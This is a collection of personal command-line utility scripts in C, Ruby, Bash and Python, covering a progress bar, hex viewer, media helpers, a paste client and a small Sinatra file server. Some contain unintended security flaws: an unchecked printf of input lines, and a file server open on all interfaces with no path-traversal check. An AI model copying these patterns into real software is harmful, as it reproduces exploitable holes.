sizeof(spinchars) - 1; } if (showbar) { if (fill != lastfill) { if (lastfill > width) lastfill = 0; fprintf(stderr, " ["); if (lastfill) fprintf(stderr, "\x1B[%uC", lastfill); for (i = lastfill; i < fill; i++) fputc('#', stderr); if (!percent) { for (; i < width; i++) fputc('-', stderr); } else { if (fill < width) fprintf(stderr, "\x1B[%uC", width - fill); } lastfill = fill; } else { fprintf(stderr, "\x1B[%uC", width + 2); } if (percent != lastpercent) { fprintf(stderr, "] %3u%%", percent); lastpercent = percent; } fprintf(stderr, "\r"); if (showline) fprintf(stderr, "\x1B[B%s\x1B[K\r\x1B[A", line); } else if (showline) { fprintf(stderr, " %s\x1B[K", line); } fprintf(stderr, "\r"); fflush(stderr); } int main(int argc, char *argv[]) { unsigned long count; unsigned percent; int i; char *c; char *arg; char *argtotal = NULL; int opt_showbar; int opt_showline = 0; int opt_showspinner = 0; int opt_output = 0; unsigned opt_width = DEFAULT_WIDTH; unsigned long total = 0; for (i = 1; i < argc; i++) { arg = argv[i]; if (*arg == '-') { while (*(++arg)) { switch (*arg) { case 'v': opt_showline = 1; break; case 's': opt_showspinner = 1; break; case 'o': opt_output = 1; break; case 'w': opt_width = (unsigned) strtol(arg+1, &arg, 10); if (opt_width) arg--; else opt_width = DEFAULT_WIDTH; break; default: fprintf(stderr, "%s: error: unknown option '-%c'\n", argv[0], *arg); return 1; } } } else { argtotal = arg; } } if (argtotal != NULL) total = (unsigned) atol(argtotal); opt_showbar = total > 0; if (opt_showbar) fprintf(stderr, "\n\x1B[A"); print_progress(opt_width, 0, opt_showbar, opt_showspinner, 0); count = 0; while (fgets(line, LINE_MAX, stdin) != NULL) { if (opt_output) printf(line); for (c = line; *c && *c != '\n'; c++) ; *c = '\0'; if (count < total) count++; if (opt_showbar) percent = count * 100 / total; print_progress(opt_width, percent, opt_showbar, opt_showspinner, opt_showline); } print_progress(opt_width, 100, opt_showbar, opt_showspinner, 0); fputs("\x1B[B\x1B[2K\x1B[A\n", stderr); return 0; } <file_sep>#!/usr/bin/env ruby ######################################################## gem 'slop', "~> 3.6" require 'slop' require 'epitools' ######################################################## ######################################################## opts = Slop.parse(help: true, strict: true) do banner "Usage: cat-until [options] <file>" on "d=", "delimiter", "What to split on (regexp)" end args = ARGV if args.empty? puts "Error: Supply a filename please!" puts puts opts exit 1 end ######################################################## re = Regexp.new opts[:delimiter] open(args.first) do |io| io.each_line do |line| break if line =~ re puts line end end <file_sep>#!/usr/bin/env ruby require 'epitools' Path.pwd.ls_r.select { |s| s.size == 0 }.each { |path| puts path } <file_sep>#!/bin/bash SOFILE=/usr/lib/PepperFlash/libpepflashplayer.so cd ~ cp $SOFILE FlashPlayer.so echo echo "Instructions:" echo "------------------------------------------------" echo "Click 'Other', then pick 'FlashPlayer.so' from your" echo "home directory." echo echo "Once you quit the Flash Patcher, FlashPlayer.so" echo "will be copied back to its original location." wine ~/scripts/win32/Flash\ Fullscreen\ Patcher.exe |&> /dev/null sudo mv FlashPlayer.so $SOFILE sudo chown root:root $SOFILE echo echo Patch complete! echo ls -l $SOFILE <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" gem 'mechanize' require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: hn-dates <start date (YYYY-MM-DD)> <end date (same)>\n\n" + "=> Prints historical hacker news frontpages to the terminal! (within a date range)\n" end args = ARGV ######################################################## if args.size != 2 puts "Error: must supply a start and end date." puts opts exit 1 end dates = args.map { |arg| Date.parse(arg) } b = Browser.new(cache: true) (dates[0]..dates[1]).each do |date| cputs "<8>=== <14>#{date} <8>===" page = b.get("https://news.ycombinator.com/front?day=#{date}") links = page.search("td.title a").select {|e| e["href"][%r{^https?://}] } num_width = links.size.to_s.size links.each_with_index do |e, num| cputs "<8>#{num.to_s.rjust(num_width)}. <15>#{e.inner_text}" cputs " "*num_width + " <7>#{e["href"]}" end puts end <file_sep>#!/usr/bin/env ruby ################################################################################## gem 'slop', "~> 3.6" require 'slop' require 'epitools' ################################################################################## def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: hex [options] <filename(s)...>" on 's', 'sectors', 'Highlight sectors (512-byte chunks)' on 'a', 'all', "Show all chars (don't skip NULLs)" on 'c=', 'chunks', 'Highlight chunks of the specified size' end [opts, ARGV] end ################################################################################## opts, args = parse_options ################################################################################## # # Constants in the calculation of bytes_per_line: # 3 chars per hex byte # 8 chars for the offset # 6 chars total for padding # 2 chars for margins # (the rest is the bytes_per_line) # bytes_per_line = (Term.width - 16) / 4 # Derived from: bytes_per_line = Term.width - 3*bytes_per_line - 8 - 6 - 2 empty_line = ["\0"] * bytes_per_line skip_begins_at = nil sector_size = if opts[:sectors] 512 elsif opts[:chunks] opts[:chunks].to_i else nil end ################################################################################## highlight_colors = { hex: [7, 15], text: [7, 15] } highlight = proc do |type, chars, offset| colors = highlight_colors[type] sector_num, underlap = offset.divmod(sector_size) overlap = sector_size - underlap chunks = [] if underlap >= 0 color = colors[sector_num % 2] chunks << [ "<#{color}>", chars[0...overlap] ] end (overlap..chars.size).step(sector_size).with_index do |chunk_offset, index| color = colors[(sector_num + index + 1) % 2] chunks << [ "<#{color}>", chars[chunk_offset...chunk_offset+sector_size] ] end chunks.flatten end # # # # Super awesome `highlight` test # # # sector_size = 4 # 1000.times do |offset| # print "\e[2J" # puts highlight.(:hex, "highlight.the.shit.out.of.me", offset) # sleep 0.1 # end # exit ################################################################################## lesspipe do |less| print_line = proc do |chars, line| offset = bytes_per_line * line # Skip nulls if chars == empty_line skip_begins_at = offset unless skip_begins_at next end if skip_begins_at skip_length = offset - skip_begins_at less.puts " <8>[ <4>skipped <12>#{skip_length.commatize} <4>bytes of NULLs <8>(<12>#{skip_begins_at.commatize}<4> to <12>#{offset.commatize}<8>) <8>] ".colorize skip_begins_at = nil end hex = chars.map { |b| "%0.2x " % b.ord } underflow = bytes_per_line - hex.size hex += [' ']*underflow if underflow > 0 # Offset a = "<3>%0.8x</3>" % offset # Hex b = sector_size ? highlight.(:hex, hex, offset) : hex # Chars c = sector_size ? highlight.(:text, chars, offset) : chars # Replace unprintable characters c = c.map do |c| case c.ord when 32..126 c when 0 "<8>_</8>" else "<8>.</8>" end end less.puts "#{a} #{b.join} <8>|<7>#{c.join}</7><8>|".colorize end #----------------------------------------------------------------------------------- args.each do |arg| skip_begins_at = nil less.puts "<8>=== <11>#{arg} <8>============".colorize open(arg, "rb") do |io| io.each_char.each_slice(bytes_per_line).with_index(&print_line) less.puts end end end ##################################################################################<file_sep>#!/usr/bin/env ruby ############################################################################################################ gem 'slop', "~> 3.6" require 'slop' require 'epitools' ############################################################################################################ def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: chrome-extensions [options] [search terms]" on "v", "verbose", "Show extra information (ie: permissions and domains the extension runs on)" # on "b=", "blong", "desc", default: "" end [opts, ARGV] end ############################################################################################################ class Extension attr_accessor :name, :version, :id, :json, :dir, :perms, :reldir, :content_scripts def self.all Path["~/.config/chromium/Default/Extensions/**/manifest.json"].map { |mf| new mf } end def initialize(mf) @json = mf.parse @id = mf.dirs[-2] @dir = mf.with(filename: nil) @perms = json["permissions"] @reldir = "~/#{dir.relative_to(Path['~'])}" if cs = json["content_scripts"] @content_scripts = cs.map { |c| c["matches"] }.flatten.sort.uniq end @version = json["version"] end def msgs @msgs ||= begin file = (@dir/"_locales/en/messages.json") file.exists? ? file.parse : nil end end def name @name ||= begin name = json["name"] if name =~ /^__MSG_(.+)__$/ and msgs varname = $1 name = msgs.dig(varname, "message") || msgs.dig(varname.downcase, "message") end name end end end ############################################################################################################ opts, args = parse_options exts = Extension.all.sort_by(&:name) if args.any? queries = args.map { |arg| /#{Regexp.escape arg}/i } exts = exts.select { |ext| queries.all? { |q| ext.name =~ q } } end exts.each do |ext| puts "<11>#{ext.name} <8>(<1>v<9>#{ext.version.gsub(".", "<1>.</1>")}<8>) - #{ext.id}".colorize puts " <3>location: <7>#{ext.reldir}".colorize if opts.verbose? if ext.perms puts " <3>perms: <7>#{ext.perms.join(", ")}".colorize end if ext.content_scripts puts " <3>content scripts:".colorize puts Term::Table.new(ext.content_scripts, indent: 4) end end puts end <file_sep>#!/usr/bin/env python2 import readline, sys, os def underscores_to_spaces(s): return s.replace("_", " ") if len(sys.argv) < 2: print "Usage: ren <filename>" sys.exit(1) else: srcs = sys.argv[1:] if len(srcs) > 1: print print "%d thing(s) to rename..." % len(srcs) print for src in srcs: if not os.path.exists(src): print repr(src), "not found." sys.exit(2) # key bindings readline.parse_and_bind('Control-k: kill-whole-line') readline.parse_and_bind('Control-r: "%s"' % underscores_to_spaces(src)) readline.parse_and_bind('Control-u: "\C-k\C-r"') readline.set_startup_hook( lambda: readline.insert_text(src) ) print "Rename:", src dest = raw_input(" to: ") print if src == dest: print "Skipping..." else: print "Renaming", repr(src), "to", repr(dest) os.rename(src, dest) print <file_sep>#!/usr/bin/env ruby ######################################################## gem 'epitools', '>= 0.5.129' require 'epitools' ######################################################## # Parse options opts = Epi::Slop.parse(help: true, strict: true) do banner "Usage: interleave [options] <command> [<command> [...]]" on "c", "no-pager", "Output results to STDOUT instead of a pager (less)" end ######################################################## args = ARGV exit if opts.help? if args.empty? puts opts exit 1 end ######################################################## main_proc = proc do |out| JobRunner.new do |jr| args.each do |arg| jr.add { [arg, IO.popen(arg, &:read)] } end jr.each_result do |cmd, result| out.puts "==============================".grey out.puts " #{cmd}".light_cyan out.puts "==============================".grey out.puts result out.puts end end end ######################################################## if opts[:"no-pager"] main_proc.call($stdout) else lesspipe { |less| main_proc.call(less) } end <file_sep>#!/usr/bin/env ruby clips = %w[primary clipboard].map { |type| `xclip -o -selection #{type}` } if clip = clips.find { |c| c[%r{^(https?|plugin):}] } # exec("notify-send", "Sent to kodi:", clip) # exec("#{__dir__}/k", clip) system("notify-send", "Sending to kodi:", clip) exec("#{__dir__}/play", "-k", clip) else error_message = "Error: Couldn't find an URL in the clipboard" $stderr.puts error_message exec("notify-send", error_message) end <file_sep>#!/bin/bash exec /opt/ums/UMS.sh <file_sep>#!/bin/bash if [ "$2" == "" ]; then echo "usage: ffmpeg-encode-mp4 input.avi output.mp4" else ffmpeg -i "$1" -strict experimental -c:v libx264 -crf 22 -c:a aac -movflags faststart "$2" fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## # TODO: # - implement the -d and -f options # OR # - add group-by support to 'fields' and make this # script a stub that calls 'fields' with the # appropriate arguments ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: group-by [options] <field number(s)>" # on "d=", "delimiter", "Set the field separator" # on "f=", "file", "Read input from a file" end args = ARGV ######################################################## col = args.first.to_i - 1 $stdin.each_line.map { |line| line.split }.group_by { |row| row[col] }.each do |group, rows| puts "## #{group}" rows.each do |row| without_col = row[0...col] + row[col+1..-1] puts " #{without_col.join(" ")}" end end<file_sep>#!/bin/bash iptables -I INPUT 1 -s $1 -j DROP <file_sep>#!/bin/bash # # use: X [:<display>] [option] # -a # default pointer acceleration (factor) # -ac disable access control restrictions # -audit int set audit trail level # -auth file select authorization file # -br create root window with black background # +bs enable any backing store support # -bs disable any backing store support # -c turns off key-click # c # key-click volume (0-100) # -cc int default color visual class # -nocursor disable the cursor # -core generate core dump on fatal error # -displayfd fd file descriptor to write display number to when ready to connect # -dpi int screen resolution in dots per inch # -dpms disables VESA DPMS monitor control # -deferglyphs [none|all|16] defer loading of [no|all|16-bit] glyphs # -f # bell base (0-100) # -fc string cursor font # -fn string default font name # -fp string default font path # -help prints message with these options # +iglx Allow creating indirect GLX contexts # -iglx Prohibit creating indirect GLX contexts (default) # -I ignore all remaining arguments # -ld int limit data space to N Kb # -lf int limit number of open files to N # -ls int limit stack space to N Kb # -nolock disable the locking mechanism # -maxclients n set maximum number of clients (power of two) # -nolisten string don't listen on protocol # -listen string listen on protocol # -noreset don't reset after last client exists # -background [none] create root window with no background # -reset reset after last client exists # -p # screen-saver pattern duration (minutes) # -pn accept failure to listen on all ports # -nopn reject failure to listen on all ports # -r turns off auto-repeat # r turns on auto-repeat # -render [default|mono|gray|color] set render color alloc policy # -retro start with classic stipple and cursor # -s # screen-saver timeout (minutes) # -seat string seat to run on # -t # default pointer threshold (pixels/t) # -terminate terminate at server reset # -to # connection time out # -tst disable testing extensions # ttyxx server started from init on /dev/ttyxx # v video blanking for screen-saver # -v screen-saver without video blanking # -wm WhenMapped default backing-store # -wr create root window with white background # -maxbigreqsize set maximal bigrequest size # +xinerama Enable XINERAMA extension # -xinerama Disable XINERAMA extension # -dumbSched Disable smart scheduling and threaded input, enable old behavior # -schedInterval int Set scheduler interval in msec # -sigstop Enable SIGSTOP based startup # +extension name Enable extension # -extension name Disable extension # -query host-name contact named host for XDMCP # -broadcast broadcast for XDMCP # -multicast [addr [hops]] IPv6 multicast for XDMCP # -indirect host-name contact named host for indirect XDMCP # -port port-num UDP port number to send messages to # -from local-address specify the local address to connect from # -once Terminate server after one session # -class display-class specify display class to send in manage # -cookie xdm-auth-bits specify the magic cookie for XDMCP # -displayID display-id manufacturer display ID for request # [+-]accessx [ timeout [ timeout_mask [ feedback [ options_mask] ] ] ] # enable/disable accessx key sequences # -ardelay set XKB autorepeat delay # -arinterval set XKB autorepeat interval # -display string display name of the real server # -sync sinchronize with the real server # -full utilize full regeneration # -class string default visual class # -depth int default depth # -sss use software screen saver # -geometry WxH+X+Y window size and position # -bw int window border width # -name string window name # -scrns int number of screens to generate # -install instal colormaps directly # [mi] Available extensions: # [mi] Generic Events # [mi] DAMAGE # [mi] DOUBLE-BUFFER # [mi] GLX # [mi] MIT-SCREEN-SAVER # [mi] RANDR # [mi] RENDER # [mi] SECURITY # [mi] X-Resource # [mi] XFIXES # [mi] XINERAMA # [mi] XTEST # [mi] XVideo res=1400x900 disp=:1 Xnest +extension GLX +extension XVideo +extension DOUBLE-BUFFER +extension RENDER +extension SECURITY -geometry $res $disp & if [ "$0" != "" ]; then sleep 0.4 DISPLAY=$disp $@ kill `jobs -p` fi <file_sep>#!/usr/bin/ruby # # MP3 SHUFFLE! v7.322785.576823.421.123.45345.624566767867.4.3245.2345 # ---------------------------------------------------------------------- # # Usage: # + change to mp3 directory # + run "mp3shuffle [number of files, defaults to 50]" # # change this to the viewer you want to use... VIEWER="mplayer" puts "+ Finding all musics in #{Dir.pwd}..." files = Dir.glob('**/*.{mp3,ogg,m4a,wma,flac}', File::FNM_CASEFOLD) puts " - #{files.size} images found." if ARGV.size > 0 num = ARGV[0].to_i else num = 50 end randomfiles = [] num.times do break if files.empty? randomfiles << files.delete_at(rand(files.size)) end puts " - #{randomfiles.size} random musics selected" puts "+ Launching #{VIEWER}..." exec VIEWER, *randomfiles <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: qemu-flatten-qcow2 <image>" exit 1 fi qemu-img rebase -F qcow2 -b '' -f qcow2 "$1"<file_sep>#!/bin/bash FONT=-xos4-terminus-medium-r-normal-*-*-140-*-*-c-*-iso8859-1 xterm -ls -bg black -fg grey -sb -rightbar -si -sk -sl 700 \ -fn "$FONT" \ -e 'ruby "'"$*"'"; echo ""; echo "---"; echo "Press enter to close window..."; read' <file_sep>#!/bin/bash if [ "$1" == "" ]; then DIR="." else DIR="$@" fi SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" darkhttpd "$DIR" --port 8888 --mimetypes $SCRIPTDIR/darkhttpd.mimetypes <file_sep>#!/bin/bash if (( $# != 2 )); then echo "usage: seticon <window title substring> <icon file>" exit 1 fi title="$1" icon="$2" if [ ! -f "$icon" ]; then if [ -f ~/scripts/icons/"$icon" ]; then icon=~/scripts/icons/"$icon" else echo "Error: can't find icon '$icon'" fi fi wmctrl -l | grep "$title" | awk '{print $1}' | xargs -i xseticon -id {} "$icon" <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: f <expr> [dirs...]" exit fi expr="$1" shift if [ "$#" == "0" ]; then find -L . -xdev | grep -Ei --color=always "$expr" else while (( "$#" )); do find -L "$1" -xdev | grep -Ei --color=always "$expr" shift done fi <file_sep>load "../dm" describe Line do it "should have a timestamp" do secs = 0.3324 l = Line.new("blah", secs) l.secs.should == secs end it "should group repeats" do lines = %w[hello hello what amazing hello blah blah blah great amazing rle rle rle].map{|s| Line.new(s)} result = squash_repeats(lines) expected = [ ["hello", 2], ["what", 1], ["amazing", 1], ["hello", 1], ["blah", 3], ["great", 1], ["amazing", 1], ["rle", 3], ] result.zip(expected).each do |line, (s, count)| line.should == s line.repeats.should == count end end it "should have a counter" do l = Line.new("I am a string.") l.repeats.should == 1 l.repeats += 1 l.repeats.should == 2 l.merge(l) l.repeats.should == 4 end end <file_sep>#!/usr/bin/env ruby require 'epitools/path' def names_and_paths(path="~/media/musicvideos") @names_and_paths ||= begin root = Path[path] root.ls_R. select { |path| path.ext =~ /(mp4|mkv|avi|mpe?g|vob|flv|wmv)/ }. map { |path| [path.relative_to(root).to_s, path] }. reject { |rel, path| rel[%r{^(\.Trash|\[featurettes\])}] }. sort_by { |rel, path| rel.downcase } end end output = names_and_paths.sample(10) + # Put some random vids at the top of the list [["-"*50,nil]] + # An ASCII separator names_and_paths # The rest of the movies path_for = names_and_paths.to_h choice = IO.popen(%w[rofi -dmenu -i -async-pre-read 0 -p MusicVideo:], "r+") do |f| f.puts output.map(&:first).join("\n") f.close_write picked = f.gets.strip path_for[picked] end exec("mpv", choice.to_s) <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: ffmpeg-dump-surround-channels <video>" exit 1 fi FORMAT=mp3 ffmpeg -i "$1" \ -filter_complex "channelsplit=channel_layout=5.1[FL][FR][FC][LFE][BL][BR]" \ -map "[FL]" front_left.$FORMAT \ -map "[FR]" front_right.$FORMAT \ -map "[FC]" front_center.$FORMAT \ -map "[LFE]" lfe.$FORMAT \ -map "[BL]" back_left.$FORMAT \ -map "[BR]" back_right.$FORMAT<file_sep>#!/usr/bin/env python2 ''' [cat |] %prog [-g id | -d id | [-i id1 file1 .. -i idN fileN] file1 .. fileN] ''' __version__ = '0.4' ''' changes: 0.3 -i more intuitive (-i ID FILE instead of -i ID FILENUMBER) prompt for filename and extension when interactive support multiple -g support multiple -d ''' import netrc, os, sys def auth(): ''' netrc: machine ix.io login USERNAME password TOKEN ''' try: creds = netrc.netrc().authenticators('ix.io') except: return [] if not creds: return [] return [('login', creds[0]), ('token', creds[2])] def mkreq(files, data=[], i=0): for filename in files: if filename is sys.stdin: fname, ext = '', '' if os.isatty(sys.stdin.fileno()): fname = raw_input('filename: ').strip() ext = raw_input('extension: ').strip() if ext and not ext.startswith('.'): ext = '.%s' % ext print '^C to exit, ^D to send' try: contents = sys.stdin.read() except KeyboardInterrupt: sys.exit() if not contents: sys.exit() elif os.path.exists(filename): contents = open(filename).read() filename, ext = os.path.splitext(filename) fname = os.path.basename(filename) else: continue i += 1 data.append(('f:%d' % i, contents)) data.append(('name:%d' % i, fname)) data.append(('ext:%d' % i, ext)) return data if __name__ == '__main__': from optparse import OptionParser from urllib import urlencode from urllib2 import urlopen parser = OptionParser(version=__version__, usage=__doc__, description=auth.__doc__) parser.add_option('-g', '--get', action='append', help='get paste identified by ID') parser.add_option('-d', '--delete', action='append', help='delete paste identified by ID') parser.add_option('-i', '--id', action='append', nargs=2, help='two params: ID, FILE. replace paste ID with FILE' + '. Use - if FILE is STDIN') opts, args = parser.parse_args() if opts.get: for i, get in enumerate(opts.get): print urlopen('http://ix.io/%s' % (get)).read().strip() if i < len(opts.get)-1: print '-' * 79 else: data = auth() if opts.id: for (idno, filename) in opts.id: if filename == '-': args.append(sys.stdin) data.append(('id:%d' % len(args), idno)) elif os.path.exists(filename): args.append(filename) data.append(('id:%d' % len(args), idno)) if opts.delete: for i in opts.delete: data.append(('rm', i)) elif not args: args = [sys.stdin] data.extend(mkreq(args)) print urlopen('http://ix.io', urlencode(data)).read().strip() <file_sep>#!/usr/bin/env ruby require 'sinatra' require 'epitools' require 'better_errors' require "sinatra/reloader" if development? set :public_folder, Dir.pwd set :bind, "0.0.0.0" public_folder = Path[settings.public_folder] configure :development do use BetterErrors::Middleware # you need to set the application root in order to abbreviate filenames # within the application: BetterErrors.application_root = File.expand_path('.', __FILE__) end class Array include Comparable end class Path def name dir? ? dirs.last : filename end def sort_key [dir? ? 0 : 1, name] end def <=>(other) self.sort_key <=> other.sort_key end end def to_row(row) " <tr>\n" + row.map {|cell| " <td>#{cell}</td>" }.join("\n") + "\n </tr>\n" end get '*' do |path| # require 'pry'; binding.pry requested = public_folder/path html = [] html << %{ <style> a { text-decoration: none; color: blue; } .dir { background-color: yellow; font-weight: bold; } </style> } if requested.dir? files = requested.ls order_by = params[:order] || "name" case order_by when "date" files.sort_by! { |f| -f.mtime.to_i } when "name" files.sort! when "size" files.sort_by! { |f| -f.size } end html << "<table>" titles = %w[name size date].map do |col| %{<a href="?order=#{col}"><b>#{col.titlecase}</b></a>} end html << to_row(titles) files.each do |file| name = name_for(file) link = %{<a href="#{File.join(path, name)}" class="#{file.dir? ? "dir" : "file"}">#{name}</a>} size = file.size.to_s.reverse.each_slice(3).to_a.join(" ") date = file.mtime.strftime("%Y-%m-%d") html << to_row([link, size, date]) end html << "</table>" html.join("\n") elsif requested.file? # send_file requested.to_s send_file File.join(settings.public_folder, path) else not_found end # if File.exist?(File.join(settings.public_folder, path)) # if File.directory?(File.join(settings.public_folder, path)) # list() # else # send_file File.join(settings.public_folder, path) # end # else # not_found # end end not_found do 'Try again.' end <file_sep>#!/bin/bash show_fetch() { git config --get remote.origin.fetch } if [ -d .git ]; then echo "Was tracking: $(show_fetch)" git config remote.origin.fetch "+refs/heads/*:refs/remotes/origin/*" echo "Now tracking: $(show_fetch)" echo git fetch -a fi <file_sep>#!/usr/bin/env ruby unless ARGV.any? puts "usage: utf8-fix [filename(s)...]" exit 1 end for arg in ARGV puts "* Fixing #{arg.inspect}..." contents = open(arg, "rb") { |f| f.read } fixed = contents.encode("UTF-8", :invalid => :replace, :undef => :replace, :replace => "?") if contents == fixed puts " |_ no UTF8 problems..." else backup = "#{arg}.bak" File.rename(arg, backup) open(arg, "w") { |f| f.write fixed } puts " |_ UTF8 problems fixed! (orignial file saved to: #{backup})" end end <file_sep>#!/bin/bash pip install --user --upgrade "$@"<file_sep>#!/usr/bin/env ruby require 'epitools/colored' require 'epitools/term' COLORS = { "??" => 7, " M" => 2, " D" => 4, } results = IO.popen(["git", "status", "--porcelain=1"]) do |io| io.each_line.map do |line| ((status, file)) = line.chomp.scan(/^(..) (.+)/) color = (COLORS[status] || 7) "<#{color}>#{status} #{file}".colorize # binding.pry end end puts Term::Table.new(results).by_columns<file_sep>extra-keys = [['~','/','HOME','UP','END'],['TAB','-','LEFT','DOWN','RIGHT']] <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' require 'xmlrpc/client' ######################################################## # [{"bitfield"=> # "fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", # "completedLength"=>"1717780480", # "connections"=>"2", # "dir"=>"/home/pip/media/tv/Democracy Now", # "downloadSpeed"=>"148191", # "files"=> # [{"completedLength"=>"1716518912", # "index"=>"1", # "length"=>"3028289536", # "path"=>"/home/pip/media/tv/Democracy Now/dn2012-0420.mpeg", # "selected"=>"true", # "uris"=> # [{"status"=>"used", # "uri"=> # "https://archive.org/download/dn2012-0420_vid/dn2012-0420.mpeg"}, # "gid"=>"c9f2ee5ab81d7f18", # "numPieces"=>"2889", # "pieceLength"=>"1048576", # "status"=>"active", # "totalLength"=>"3028289536", # "uploadLength"=>"0", # "uploadSpeed"=>"0"}] class Rational # # Returns a string representing the number in percent # def percent "%0.1f%%" % (to_f * 100) end alias_method :to_percent, :percent end def puts_clear(str=nil) print str if str Term.clear_eol puts end blocks = ['█', '▉', '▊', '▋', '▌', '▍', '▎', '▏', '.'].reverse server = XMLRPC::Client.new2("http://localhost:6800/rpc") info = server.call("aria2.tellActive").first rescue nil if info.nil? puts "Nothing!" end Term.clear loop do begin if info and info["bitfield"] progress_bar = info["bitfield"].each_slice(2).flat_map do |hex| # "%0.8b" % hex.to_i(16) # i = Ratio[hex.to_i(16), 2**8].to_f * blocks.size i = hex.to_i(16).bits.count(1) blocks[i] end.join speed = info["downloadSpeed"].to_i complete = Rational(info["completedLength"].to_i, info["totalLength"].to_i) Term.home info["files"].each do |f| uris = f["uris"] path = f["path"] conns = uris.size # uristates = uris.map {|u| u["status"] } unique_uris = uris.map {|u| u["uri"] }.uniq puts_clear "sources:" unique_uris.each {|uri| puts_clear " #{uri}" } puts_clear " (#{conns} connections)" puts_clear "destination:" puts_clear " #{path}" end puts_clear puts_clear "progress: #{complete.percent} (#{speed.commatize} bytes/sec)" puts_clear progress_bar end sleep 1 info = server.call("aria2.tellActive").first rescue Errno::ECONNREFUSED, EOFError puts "Connection lost..." rescue Net::ReadTimeout puts "Read timeout..." end end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: pacs <query>" exit 1 fi pacman --color=always -Ss "$@" | less -RSXFi <file_sep>#!/bin/bash pkg install "$@" <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: pause-process <process name substring>" exit 1 fi pkill -f -CONT "$@" <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## module DBus extend self def message(*command, type: :session) raise "Error: Not a valid type" unless [:system, :session].include? type cmd = ["dbus-send", "--#{type}"] cmd += command system(*cmd) end def list puts message( "--dest=org.freedesktop.DBus", "--type=method_call", "--print-reply", "/org/freedesktop/DBus", "org.freedesktop.DBus.ListNames") end def flavors puts message( "--dest=org.freedesktop.thumbnails.Thumbnailer1", "--type=method_call", "--print-reply", "/org/freedkestop/thumbnails/Thumbnailer1", "org.freedesktop.thumbnails.Thumbnailer1.GetFlavors") end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: dbus [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## DBus.list # DBus.flavors <file_sep>#!/usr/bin/env ruby require 'epitools' data = Path["~/dl/traffdata.bak"].lines.drop(1).map do |l| n, data = l.strip.split("=") [n.split("-")[1..-1].reverse, data.split] end.sort data.each do |(year, month), days| total = days.pop puts "=== #{year}-#{month} ==============================" puts days.join ' ' puts total puts end<file_sep>#!/bin/bash mplayer ~/scripts/sounds/click.mp3 |& null URL="$@" MEDIA_URL="`youtube-dl --no-playlist -g --get-filename "$MEDIA_URL"`" #mplayer "$MEDIA_URL" |& null mplayer -quiet -cache 10000 -cache-min 5 "$MEDIA_URL" -title "$URL" #totem "$MEDIA_URL" > /dev/null <file_sep>#!/usr/bin/env ruby require 'epitools' unless Path.which("openssl") puts "Error: The 'openssl' commandline tool is not found. Please install it." exit 4 end infile, outfile = ARGV.map{|arg| Path[arg]} case ARGV.size when 1 outfile = infile.with(:ext=>".pem") when 2 # everything's fine else puts "Convert .crt binary certificates to .pem ASCII certificates." puts puts "usage: crt2pem <input.crt> [<output.pem>]" puts puts "(Note: If you don't supply <output.pem>, it defaults the input filename" puts " with the extension changed to .pem)" exit 1 end unless infile.exists? puts "Error: #{infile} not found" exit 2 end if outfile.exists? unless prompt("Overwrite #{outfile}?") == "y" puts "Aborting..." exit 3 end puts end puts "* Converting: #{infile}" puts " to: #{outfile}" puts system "openssl x509 -inform der -outform pem < #{infile.inspect} > #{outfile.inspect}"<file_sep>#!/bin/bash PROCS=4 if [ "$1" == "" ]; then echo "usage: ytdl-playlist <youtube-playlist>" echo echo "purpose: download youtube videos in parallel" else youtube-dl -j -o "%(autonumber)s. %(title)s.%(ext)s" "$@" | \ xargs -I'{}' -d'\n' -n1 -P$PROCS -- /bin/sh -c 'TMP=`mktemp`; echo '\''{}'\'' >${TMP}; youtube-dl -f best -o "`jq -r ._filename ${TMP}`" --load-info ${TMP} &>/dev/null; rm ${TMP}' fi<file_sep>find . -type f -exec chmod -x {} \; <file_sep>#!/bin/bash EXEPATH="`dirname $0`/win32/sqlitespy.exe" wine "$EXEPATH" "$@" > /dev/null 2>&1 & <file_sep>#!/bin/bash echo "============== Cleaning ================================" echo git submodule foreach "git reset --hard; git clean -dfx ." git reset --hard git clean -dfx . echo echo "============== git status ==============================" git status<file_sep>#!/bin/bash make dep && make bzImage && make modules && make modules_install <file_sep>#!/usr/bin/env ruby args = ARGV if ARGV == ["--help"] puts "usage: git-pushdiff [git-diff options] <remote (defaults to origin/master)>" puts puts "Display what you're about to push as a git diff." exit 1 end opts, args = args.partition { |arg| arg[/^-.+/] } if args.empty? args << "origin/master" end cmd = %w[git diff --cached] cmd += opts cmd += args system(*cmd)<file_sep>#!/usr/bin/env ruby devs = open("/proc/net/dev").each_line.map do |line| if line =~ /^\s*([ewa][^:]+): / $1 end end.compact system("sudoifnotroot", "nethogs", *devs)<file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' opts = Slop.new :help => true do banner "Usage: dm -f from -t to [files...]" on :v, :verbose, 'Enable verbose mode' on :n, :dryrun, 'Dry-run', false on :f, :from, 'From', :optional => false 